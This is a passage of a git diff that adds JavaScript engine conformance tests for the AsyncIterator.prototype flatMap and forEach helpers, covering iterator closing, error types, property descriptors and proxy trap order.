+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+mapped.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
new file mode 100644
index 0000000000..d92732e9fd
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-next-throws.js
@@ -0,0 +1,50 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator when IteratorNext throws.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ i. Let innerNextPromise be IteratorNext(innerIterator).
+ ii. IfAbruptCloseAsyncIterator(innerNextPromise, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends AsyncIterator {
+ async next() {
+ throw new TestError();
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+mapped.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
new file mode 100644
index 0000000000..97a82ec0bb
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/close-iterator-when-inner-value-throws.js
@@ -0,0 +1,57 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator when innerValue throws.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ ...
+ viii. Else,
+ 1. Let innerValue be IteratorValue(innerNext).
+ 2. IfAbruptCloseAsyncIterator(innerValue, iterated).
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+class TestError extends Error {}
+class InnerIterator extends AsyncIterator {
+ async next() {
+ return {
+ done: false,
+ get value() {
+ throw new TestError();
+ },
+ };
+ }
+}
+
+const iter = new TestIterator();
+const mapped = iter.flatMap(x => new InnerIterator());
+
+assertEq(iter.closed, false);
+mapped.next().then(
+ _ => assertEq(true, false, 'Expected reject.'),
+ err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iter.closed, true);
+ }
+);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js
new file mode 100644
index 0000000000..dbd17cb33b
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/flatMap.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+async function* inner(x) {
+ yield x;
+ yield x + 1;
+}
+
+let iter = gen().flatMap(x => inner(x));
+
+for (const v of [1, 2, 2, 3, 3, 4]) {
+ iter.next().then(
+ ({done, value}) => {
+ assertEq(done, false);
+ assertEq(value, v);
+ }
+ );
+}
+
+iter.next().then(({done}) => assertEq(done, true));
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js
new file mode 100644
index 0000000000..3da588f444
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-empty-iterable.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap skips empty inner iterables.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ k. Repeat, while innerAlive is true,
+ ...
+ v. Let innerComplete be IteratorComplete(innerNext).
+ ...
+ vii. If innerComplete is true, set innerAlive to false.
+features: [iterator-helpers]
+---*/
+
+async function* gen(values) {
+ yield* values;
+}
+
+(async () => {
+ let iter = gen([0, 1, 2, 3]).flatMap(x => x % 2 ? gen([]) : gen([x]));
+
+ for (const expected of [0, 2]) {
+ const result = await iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+ }
+
+ let result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+
+ iter = gen([0, 1, 2, 3]).flatMap(x => gen([]));
+ result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js
new file mode 100644
index 0000000000..08c0dfbba7
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/inner-generator.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap innerIterator can be a generator.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+features: [iterator-helpers]
+---*/
+
+async function* gen() {
+ yield 1;
+ yield 2;
+}
+
+(async () => {
+ const iter = gen().flatMap(async function*(x) {
+ yield x;
+ yield* [x + 1, x + 2];
+ });
+
+ for (const expected of [1, 2, 3, 2, 3, 4]) {
+ const result = await iter.next();
+ assertEq(result.value, expected);
+ assertEq(result.done, false);
+ }
+
+ const result = await iter.next();
+ assertEq(result.value, undefined);
+ assertEq(result.done, true);
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js
new file mode 100644
index 0000000000..4e6862cd41
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/length.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap length value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.flatMap.length, 1);
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.flatMap, 'length');
+assertEq(propertyDescriptor.value, 1);
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js
new file mode 100644
index 0000000000..2aeebe0f85
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/name.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap.name value and descriptor.
+info: >
+ 17 ECMAScript Standard Built-in Objects
+features: [iterator-helpers]
+---*/
+
+assertEq(AsyncIterator.prototype.flatMap.name, 'flatMap');
+
+const propertyDescriptor = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.flatMap, 'name');
+assertEq(propertyDescriptor.value, 'flatMap');
+assertEq(propertyDescriptor.enumerable, false);
+assertEq(propertyDescriptor.writable, false);
+assertEq(propertyDescriptor.configurable, true);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js b/js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js
new file mode 100644
index 0000000000..e854a8c8ae
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/flatMap/throw-when-inner-not-iterable.js
@@ -0,0 +1,71 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: %AsyncIterator.prototype%.flatMap closes the iterator and throws when mapped isn't iterable.
+info: >
+ Iterator Helpers proposal 2.1.6.7
+ 1. Repeat,
+ ...
+ h. Let innerIterator be GetIterator(mapped, async).
+ i. IfAbruptCloseAsyncIterator(innerIterator, iterated).
+features: [iterator-helpers]
+---*/
+
+class NotIterable {
+ async next() {
+ return {done: true};
+ }
+}
+
+class InvalidIterable {
+ [Symbol.asyncIterator]() {
+ return {};
+ }
+}
+
+class TestIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 0};
+ }
+
+ closed = false;
+ async return(value) {
+ this.closed = true;
+ return {done: true, value};
+ }
+}
+
+const nonIterables = [
+ new NotIterable(),
+ new InvalidIterable(),
+ undefined,
+ null,
+ 0,
+ false,
+ Symbol(''),
+ 0n,
+ {},
+];
+
+(async () => {
+ for (const value of nonIterables) {
+ const iter = new TestIterator();
+ const mapped = iter.flatMap(x => value);
+
+ assertEq(iter.closed, false);
+ console.log("here!");
+ try {
+ await mapped.next();
+ assertEq(true, false, 'Expected reject');
+ } catch (exc) {
+ assertEq(exc instanceof TypeError, true);
+ }
+ assertEq(iter.closed, true);
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js
new file mode 100644
index 0000000000..25c4302ade
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/async-writes.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+let x = {a: () => true};
+
+async function* gen() {
+ yield x.a();
+ yield x.a();
+}
+
+gen().forEach(() => {}).then(
+ () => assertEq(true, false, 'expected error'),
+ err => assertEq(err instanceof Error, true),
+);
+
+x.a = () => {
+ throw Error();
+};
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js
new file mode 100644
index 0000000000..bcf77e56d1
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/check-fn-after-getting-iterator.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new TestIterator(), handlerProxy);
+iter.forEach(1).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+ assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js
new file mode 100644
index 0000000000..8825422a28
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/descriptor.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ Descriptor property of AsyncIterator.prototype.forEach
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype, 'forEach');
+assertEq(typeof propDesc.value, 'function');
+assertEq(propDesc.writable, true);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js
new file mode 100644
index 0000000000..32797fe750
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/error-from-correct-realm.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const otherGlobal = newGlobal({newCompartment: true});
+assertEq(TypeError !== otherGlobal.TypeError, true);
+
+async function *gen() {}
+
+gen().forEach().then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TypeError, true);
+});
+
+otherGlobal.AsyncIterator.prototype.forEach.call(gen()).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(
+ err instanceof otherGlobal.TypeError,
+ true,
+ 'TypeError comes from the realm of the method.',
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js
new file mode 100644
index 0000000000..c70e336bff
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-not-callable-throws.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() {}
+
+function check(fn) {
+ gen().forEach(fn).then(() => {
+ throw new Error('every should have thrown');
+ },
+ (err) => {
+ assertEq(err instanceof TypeError, true);
+ });
+}
+
+check();
+check(undefined);
+check(null);
+check(0);
+check(false);
+check('');
+check(Symbol(''));
+check({});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js
new file mode 100644
index 0000000000..4e7d60412e
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/fn-throws-close-iterator.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({ done: this.closed });
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => { throw new Error(); };
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.forEach(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, true);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js
new file mode 100644
index 0000000000..2109be5fd6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/forEach.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+const fn = (value) => log.push(value);
+const iter = [1, 2, 3].values();
+
+assertEq(iter.forEach(fn), undefined);
+assertEq(log.join(','), '1,2,3');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js
new file mode 100644
index 0000000000..c8c47bde45
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/interleaving-calls.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const log = [];
+async function* gen(n) {
+ log.push(`${n}`);
+ yield 1;
+ log.push(`${n}`);
+ yield 2;
+}
+
+Promise.all([gen(1).forEach(() => {}), gen(2).forEach(() => {})]).then(
+ () => {
+ assertEq(
+ log.join(' '),
+ '1 2 1 2',
+ );
+ },
+ err => {
+ throw err;
+ }
+);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/length.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/length.js
new file mode 100644
index 0000000000..5e59af9fea
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/length.js
@@ -0,0 +1,17 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ The `length` property of AsyncIterator.prototype.forEach.
+info: |
+ ES7 section 17: Unless otherwise specified, the length property of a built-in
+ Function object has the attributes { [[Writable]]: false, [[Enumerable]]:
+ false, [[Configurable]]: true }.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.forEach, 'length');
+assertEq(propDesc.value, 1);
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/name.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/name.js
new file mode 100644
index 0000000000..3053c3967f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/name.js
@@ -0,0 +1,13 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+/*---
+ `name` property of AsyncIterator.prototype.forEach.
+---*/
+
+const propDesc = Reflect.getOwnPropertyDescriptor(AsyncIterator.prototype.forEach, 'name');
+assertEq(propDesc.value, 'forEach');
+assertEq(propDesc.writable, false);
+assertEq(propDesc.enumerable, false);
+assertEq(propDesc.configurable, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..0c72c700e2
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/next-throws-iterator-not-closed.js
@@ -0,0 +1,24 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestIterator extends AsyncIterator {
+ next() {
+ throw new Error();
+ }
+
+ closed = false;
+ return() {
+ this.closed = true;
+ }
+}
+
+const fn = () => {};
+const iter = new TestIterator();
+
+assertEq(iter.closed, false);
+iter.forEach(fn).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof Error, true);
+ assertEq(iter.closed, false);
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js
new file mode 100644
index 0000000000..bab7a2e864
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/proxy.js
@@ -0,0 +1,44 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+//
+// This test checks that %Iterator.prototype%.forEach only gets the `next` method off of the
+// iterator once, and never accesses the @@iterator property.
+const log = [];
+const handlerProxy = new Proxy({}, {
+ get: (target, key, receiver) => (...args) => {
+ log.push(`${key}: ${args[1]?.toString()}`);
+ return Reflect[key](...args);
+ },
+});
+
+class Counter extends AsyncIterator {
+ value = 0;
+ next() {
+ const value = this.value;
+ if (value < 2) {
+ this.value = value + 1;
+ return Promise.resolve({done: false, value});
+ }
+ return Promise.resolve({done: true});
+ }
+}
+
+const iter = new Proxy(new Counter(), handlerProxy);
+iter.forEach(x => x).then(() => {
+ assertEq(
+ log.join('\n'),
+ `get: forEach
+get: next
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value
+set: value
+getOwnPropertyDescriptor: value
+defineProperty: value
+get: value`
+ );
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js
new file mode 100644
index 0000000000..c92536fbe6
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/this-not-iterator-throws.js
@@ -0,0 +1,19 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const fn = x => x;
+function check(x) {
+ AsyncIterator.prototype.forEach.call(x, fn).then(
+ () => assertEq(true, false, 'expected error'),
+ err => {
+ assertEq(err instanceof TypeError, true);
+ }
+ );
+}
+
+check();
+check(undefined);
+check({});
+check({next: 0});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js b/js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js
new file mode 100644
index 0000000000..8611a0100f
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/forEach/value-throws-iterator-not-closed.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+class TestError extends Error {}
+class TestIterator extends AsyncIterator {
+ next() {
+ return Promise.resolve({
+ done: false,
+ get value() {
+ throw new TestError();
+ }
+ });
+ }
+
+ closed = false;
+ return() {
+ closed = true;
+ }
+}
+
+const iterator = new TestIterator();
+assertEq(iterator.closed, false, 'iterator starts unclosed');
+iterator.forEach(x => x).then(() => assertEq(true, false, 'expected error'), err => {
+ assertEq(err instanceof TestError, true);
+ assertEq(iterator.closed, false, 'iterator remains unclosed');
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js b/js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js
new file mode 100644
index 0000000000..0e5b6ac0b5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/generator-methods-throw-on-iterator-helpers.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+const asyncGeneratorProto = Object.getPrototypeOf(
+ Object.getPrototypeOf(
+ (async function *() {})()
+ )
+);
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => (async function*() {})()),
+];
+
+for (const method of methods) {
+ const iteratorHelper = method((async function*() {})());
+ asyncGeneratorProto.next.call(iteratorHelper).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+ asyncGeneratorProto.return.call(iteratorHelper).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+ asyncGeneratorProto.throw.call(iteratorHelper).then(
+ _ => assertEq(true, false, 'Expected reject'),
+ err => assertEq(err instanceof TypeError, true),
+ );
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js b/js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js
new file mode 100644
index 0000000000..f79fb7d842
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/iterator-helper-methods-throw-on-generators.js
@@ -0,0 +1,12 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function *gen() { yield 'value'; }
+
+const asyncIteratorHelperProto = Object.getPrototypeOf(gen().map(x => x));
+
+assertThrowsInstanceOf(() => asyncIteratorHelperProto.next.call(gen()), TypeError);
+assertThrowsInstanceOf(() => asyncIteratorHelperProto.return.call(gen()), TypeError);
+assertThrowsInstanceOf(() => asyncIteratorHelperProto.throw.call(gen()), TypeError);
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js
new file mode 100644
index 0000000000..8b7a945fd5
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-from-other-global.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+async function* gen(values) {
+ yield* values;
+}
+
+const otherAsyncIteratorProto = newGlobal({newCompartment: true}).AsyncIterator.prototype;
+
+const methods = [
+ ["map", x => x],
+ ["filter", x => true],
+ ["take", Infinity],
+ ["drop", 0],
+ ["asIndexedPairs", undefined],
+ ["flatMap", x => gen([x])],
+];
+
+(async () => {
+ for (const [method, arg] of methods) {
+ const iterator = gen([1, 2, 3]);
+ const helper = otherAsyncIteratorProto[method].call(iterator, arg);
+
+ for (const expected of [1, 2, 3]) {
+ const {done, value} = await helper.next();
+ assertEq(done, false);
+ assertEq(Array.isArray(value) ? value[1] : value, expected);
+ }
+
+ const {done, value} = await helper.next();
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+})();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js
new file mode 100644
index 0000000000..b1bd426dd8
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-handle-empty-iterators.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods handle empty iterators.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class EmptyIterator extends AsyncIterator {
+ async next() {
+ return {done: true};
+ }
+}
+
+async function* gen() {}
+
+const methods = [
+ iter => iter.map(x => x),
+ iter => iter.filter(x => x),
+ iter => iter.take(1),
+ iter => iter.drop(0),
+ iter => iter.asIndexedPairs(),
+ iter => iter.flatMap(x => gen()),
+];
+
+for (const method of methods) {
+ for (const iterator of [new EmptyIterator(), gen()]) {
+ method(iterator).next().then(
+ ({done, value}) => {
+ assertEq(done, true);
+ assertEq(value, undefined);
+ }
+ );
+ }
+}
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js
new file mode 100644
index 0000000000..98c2a2b680
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-interleaved.js
@@ -0,0 +1,59 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% method calls can be interleaved.
+info: >
+ Iterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestIterator extends AsyncIterator {
+ value = 0;
+ async next() {
+ return {done: false, value: this.value++};
+ }
+}
+
+function unwrapResult(value) {
+ // Unwrap the asIndexedPair return values.
+ while (Array.isArray(value)) {
+ value = value[1];
+ }
+ return value;
+}
+
+function check({done, value}, expectedDone, expectedValue) {
+ assertEq(done, expectedDone);
+ assertEq(unwrapResult(value), expectedValue);
+}
+
+const methods = [
+ ['map', x => x],
+ ['filter', x => true],
+ ['take', Infinity],
+ ['drop', 0],
+ ['asIndexedPairs', undefined],
+ ['flatMap', async function*(x) { yield x; }],
+];
+
+(async () => {
+ for (const [firstMethod, firstArg] of methods) {
+ for (const [secondMethod, secondArg] of methods) {
+ const iterator = new TestIterator();
+
+ const firstHelper = iterator[firstMethod](firstArg);
+ const secondHelper = iterator[secondMethod](secondArg);
+
+ check(await firstHelper.next(), false, 0);
+ check(await secondHelper.next(), false, 1);
+ check(await firstHelper.next(), false, 2);
+ check(await secondHelper.next(), false, 3);
+ }
+ }
+})();
+
+if (typeof reportCompare == 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
new file mode 100644
index 0000000000..1a52d113f9
--- /dev/null
+++ b/js/src/tests/non262/AsyncIterator/prototype/lazy-methods-iterator-closed-on-call-throws.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!this.hasOwnProperty('AsyncIterator'))
+
+//
+//
+/*---
+esid: pending
+description: Lazy %AsyncIterator.prototype% methods close the iterator if callback throws.
+info: >
+ AsyncIterator Helpers proposal 2.1.6
+features: [iterator-helpers]
+---*/
+
+class TestError extends Error {}
+class TestAsyncIterator extends AsyncIterator {
+ async next() {
+ return {done: false, value: 1};
+ }
+
+ closed = false;
+ async return() {
+ this.closed = true;
+ return {done: true};
+ }
+}
+
+function fn() {
+ throw new TestError();
+}
+const methods = [
+ iter => iter.map(fn),
+ iter => iter.filter(fn),
